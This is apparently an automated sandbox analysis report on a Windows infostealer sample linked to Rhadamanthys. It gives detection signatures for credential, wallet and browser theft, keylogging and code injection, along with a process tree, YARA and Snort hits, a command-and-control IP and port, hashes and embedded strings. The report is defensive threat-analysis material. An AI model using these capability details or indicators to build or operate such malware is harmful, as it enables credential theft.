Edit tour

Windows Analysis Report
XtDhwVrVKn.exe

Overview

General Information

Sample Name:	XtDhwVrVKn.exe (renamed file extension from none to exe, renamed because original name is a hash value)
Original Sample Name:	e22dc4909170a6ab08366719767378332be2f0ee62a43a8e6883c37ac720aa6b
Analysis ID:	1343984
MD5:	eec338fddd2d5fba1395358179c31f43
SHA1:	e9344af6c7353a7aeae032c5469dda7a5a865d3e
SHA256:	e22dc4909170a6ab08366719767378332be2f0ee62a43a8e6883c37ac720aa6b
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for dropped file

Tries to steal Mail credentials (via file / registry access)

Maps a DLL or memory area into another process

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

.NET source code contains potential unpacker

Tries to harvest and steal Bitcoin Wallet information

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to harvest and steal browser information (history, passwords, etc)

NDIS Filter Driver detected (likely used to intercept and sniff network traffic)

Writes to foreign memory regions

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Found hidden mapped module (file has been removed from disk)

Injects code into the Windows Explorer (explorer.exe)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Drops files with a non-matching file extension (content does not match file extension)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Yara detected Keylogger Generic

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Found potential string decryption / allocating functions

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Creates a DirectInput object (often for capturing keystrokes)

Queries information about the installed CPU (vendor, model number etc)

AV process strings found (often used to terminate AV products)

Found inlined nop instructions (likely shell or obfuscated code)

Installs a raw input device (often for capturing keystrokes)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

XtDhwVrVKn.exe (PID: 1900 cmdline: C:\Users\user\Desktop\XtDhwVrVKn.exe MD5: EEC338FDDD2D5FBA1395358179C31F43)

ManyCam.exe (PID: 984 cmdline: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe MD5: BA699791249C311883BAA8CE3432703B)

pcaui.exe (PID: 4592 cmdline: C:\Windows\system32\pcaui.exe" -g {11111111-1111-1111-1111-111111111111} -x {bce4b583-343f-44b8-8f95-9f76104077b9} -a "ManyCam" -v "ManyCam LLC" -s "To work properly, this app must be reinstalled after you upgrade Windows." -n 4 -f 0 -k 0 -e "C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe MD5: 0BA34D8D0BD01CB98F912114ACC7CF19)

cmd.exe (PID: 6300 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorer.exe (PID: 2140 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

dialer.exe (PID: 4320 cmdline: C:\Windows\system32\dialer.exe MD5: E4BD77FB64DDE78F1A95ECE09F6A9B85)

OpenWith.exe (PID: 3920 cmdline: C:\Windows\system32\openwith.exe MD5: E4A834784FA08C17D47A1E72429C5109)

wmprph.exe (PID: 6208 cmdline: C:\Program Files\Windows Media Player\wmprph.exe MD5: B4298167D12E6AC4618518E0B6326802)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000008.00000003.2398960542.0000000005220000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000007.00000003.2395563099.0000000006E80000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000007.00000003.2395413871.0000000006C60000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000008.00000003.2398803359.0000000005000000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: explorer.exe PID: 2140	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: dialer.exe PID: 4320	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
8.3.dialer.exe.5220000.7.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.3.dialer.exe.5000000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
7.3.explorer.exe.6c60000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
7.3.explorer.exe.6e80000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.3.dialer.exe.5220000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security

Snort Signatures

ETPRO TROJAN Suspected Rhadamanthys Related SSL Cert - Source IP: 95.214.25.98 - Destination IP: 192.168.2.5

Timestamp:	95.214.25.98192.168.2.55932497172854802 11/17/23-06:23:33.112418
SID:	2854802
Source Port:	5932
Destination Port:	49717
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Suspected Rhadamanthys Related SSL Cert - Source IP: 95.214.25.98 - Destination IP: 192.168.2.5

Timestamp:	95.214.25.98192.168.2.55932497142854802 11/17/23-06:23:05.300196
SID:	2854802
Source Port:	5932
Destination Port:	49714
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Suspected Rhadamanthys Related SSL Cert - Source IP: 95.214.25.98 - Destination IP: 192.168.2.5

Timestamp:	95.214.25.98192.168.2.55932497162854802 11/17/23-06:23:21.022648
SID:	2854802
Source Port:	5932
Destination Port:	49716
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\aylundwhckajft

Avira: detection malicious, Label: HEUR/AGEN.1309923

Multi AV Scanner detection for submitted file

Source: XtDhwVrVKn.exe

Virustotal: Detection: 8%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\aylundwhckajft	ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Temp\aylundwhckajft	Virustotal: Detection: 72%			Perma Link

Source: C:\Windows\System32\OpenWith.exe

Code function: 10_3_00007DF439B6FDD4 CryptUnprotectData,

10_3_00007DF439B6FDD4

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 128.104.160.19:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.200.193:443 -> 192.168.2.5:49706 version: TLS 1.2

Source: XtDhwVrVKn.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: wkernel32.pdb source: explorer.exe, 00000007.00000003.2395222916.0000000006D80000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2395159521.0000000006C60000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398432037.0000000002F30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398522792.0000000005080000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: OpenWith.exe, 0000000A.00000003.2581471865.000001D13947B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Program Files\OpenCV\bin\highgui099.pdb8` source: ManyCam.exe, 00000002.00000002.2117054726.00000000018DD000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: diaLocatePDB-> Looking for %s... %s%s.pdbFPOPDATAXDATAOMAPFROMOMAPTO$$$IP not set! source: ManyCam.exe, 00000002.00000002.2118386738.000000006D511000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: wntdll.pdbUGP source: ManyCam.exe, 00000002.00000002.2117927340.0000000003D50000.00000004.00000800.00020000.00000000.sdmp, ManyCam.exe, 00000002.00000002.2117703601.00000000039F5000.00000004.00000020.00020000.00000000.sdmp, ManyCam.exe, 00000002.00000002.2118064028.0000000004107000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358279560.00000000052A2000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358532065.0000000005740000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2394994717.0000000006E00000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397480405.0000000004A85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2394877910.0000000006C60000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398061131.0000000005000000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398222724.00000000051A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: explorer.exe, 00000007.00000003.2394550694.0000000006C60000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2394692378.0000000006E50000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2397621332.0000000005000000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2397797338.00000000051F0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: ManyCam.exe, 00000002.00000002.2117927340.0000000003D50000.00000004.00000800.00020000.00000000.sdmp, ManyCam.exe, 00000002.00000002.2117703601.00000000039F5000.00000004.00000020.00020000.00000000.sdmp, ManyCam.exe, 00000002.00000002.2118064028.0000000004107000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358279560.00000000052A2000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358532065.0000000005740000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2394994717.0000000006E00000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397480405.0000000004A85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2394877910.0000000006C60000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398061131.0000000005000000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398222724.00000000051A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb source: OpenWith.exe, 0000000A.00000003.2581471865.000001D139483000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\branch_2.5\Bin\CrashRpt.pdb source: ManyCam.exe, 00000002.00000002.2117350627.0000000002012000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: OpenWith.exe, 0000000A.00000002.2859207051.000001D13734C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831g" source: OpenWith.exe, 0000000A.00000002.2859207051.000001D13734C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: OpenWith.exe, 0000000A.00000002.2859207051.000001D13734C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\branch_2.5\bin\cximagecrt.pdb0 source: ManyCam.exe, 00000002.00000002.2118330680.0000000010062000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: d:\branch_2.5\bin\cximagecrt.pdb source: ManyCam.exe, 00000002.00000002.2118330680.0000000010062000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\Programmireading\machine code\driver\HTTP\uJT\z\Syntax\DNS\css\cluster\i\x64\protocol\so.pdb source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: TD:\Programmireading\machine code\driver\HTTP\uJT\z\Syntax\DNS\css\cluster\i\x64\protocol\so.pdb source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: ntkrnlmp.pdbX source: OpenWith.exe, 0000000A.00000003.2581471865.000001D139453000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: explorer.exe, 00000007.00000003.2395563099.0000000006E80000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2395413871.0000000006C60000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398960542.0000000005220000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398803359.0000000005000000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: c:\Program Files\OpenCV\bin\cxcore099.pdb source: ManyCam.exe, 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: ntdll.pdb source: explorer.exe, 00000007.00000003.2394550694.0000000006C60000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2394692378.0000000006E50000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2397621332.0000000005000000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2397797338.00000000051F0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2D!] source: OpenWith.exe, 0000000A.00000002.2859207051.000001D13734C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Program Files\OpenCV\bin\highgui099.pdb source: ManyCam.exe, 00000002.00000002.2117054726.00000000018DD000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: c:\Program Files\OpenCV\bin\cv099.pdb source: ManyCam.exe, 00000002.00000002.2116963485.000000000186F000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: c:\Program Files\OpenCV\bin\cxcore099.pdbu source: ManyCam.exe, 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: d:\branch_2.5\bin\ManyCam.pdb source: ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: explorer.exe, 00000007.00000003.2395563099.0000000006E80000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2395413871.0000000006C60000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398960542.0000000005220000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398803359.0000000005000000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: explorer.exe, 00000007.00000003.2395222916.0000000006D80000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2395159521.0000000006C60000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398432037.0000000002F30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2398522792.0000000005080000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: dbghelp.pdb source: ManyCam.exe, 00000002.00000002.2118386738.000000006D511000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: winload_prod.pdb source: OpenWith.exe, 0000000A.00000003.2581471865.000001D139453000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\OpenWith.exe

Code function: 10_3_00007DF439B78C4C GetLogicalDriveStringsW,

10_3_00007DF439B78C4C

Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

Code function: 2_2_004164A0 lstrlenW,FindFirstFileW,GetFullPathNameW,SetLastError,

2_2_004164A0

Source: C:\Windows\System32\OpenWith.exe	Code function: 4x nop then dec esp		10_3_00007DF439B7BDD1
Source: C:\Windows\System32\OpenWith.exe	Code function: 4x nop then dec esp		10_2_000001D137280511

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2854802 ETPRO TROJAN Suspected Rhadamanthys Related SSL Cert 95.214.25.98:5932 -> 192.168.2.5:49714
Source: Traffic	Snort IDS: 2854802 ETPRO TROJAN Suspected Rhadamanthys Related SSL Cert 95.214.25.98:5932 -> 192.168.2.5:49716
Source: Traffic	Snort IDS: 2854802 ETPRO TROJAN Suspected Rhadamanthys Related SSL Cert 95.214.25.98:5932 -> 192.168.2.5:49717

NDIS Filter Driver detected (likely used to intercept and sniff network traffic)

Source: XtDhwVrVKn.exe

Static PE information: Found NDIS imports: FwpmTransactionCommit0, FwpmEngineClose0, FwpmEngineOpen0, FwpmTransactionBegin0, FwpmCalloutAdd0, FwpmSubLayerAdd0, FwpmFilterAdd0

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic

HTTP traffic detected: GET /z0gTiQ2.png HTTP/1.1Connection: Keep-AliveHost: i.imgur.com

Source: Joe Sandbox View

ASN Name: CMCSUS CMCSUS

Source: Joe Sandbox View

IP Address: 151.101.200.193 151.101.200.193

Source: global traffic

TCP traffic: 192.168.2.5:49714 -> 95.214.25.98:5932

Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://curl.haxx.se/rfc/cookie_spec.html
Source: ManyCam.exe, 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://download.manycam.com
Source: ManyCam.exe	String found in binary or memory: http://download.manycam.com/effects/%s/%s?v=%s
Source: ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://download.manycam.com/effects/%s/%s?v=%sBackgroundsDynamicDynamic
Source: ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://download.manycam.com/effects/%s/%s?v=%sManyCam
Source: ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://download.manycam.comNew
Source: ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://download.manycam.comVerdanaThis
Source: XtDhwVrVKn.exe, 00000000.00000000.1999301945.00007FF62CDCE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://forums.peerblock.com.
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://list.iblocklist.com/?list=?&=usernameidpinlisthttp://list.iblocklist.com/lists/
Source: ManyCam.exe	String found in binary or memory: http://manycam.com/feedback/?version=%s
Source: ManyCam.exe, ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://manycam.com/help/effects
Source: ManyCam.exe	String found in binary or memory: http://manycam.com/upload_effect?filepath=
Source: ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://manycam.com/upload_effect?filepath=ManyCam
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0L
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://peerguardian.sourceforge.net/lists/
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
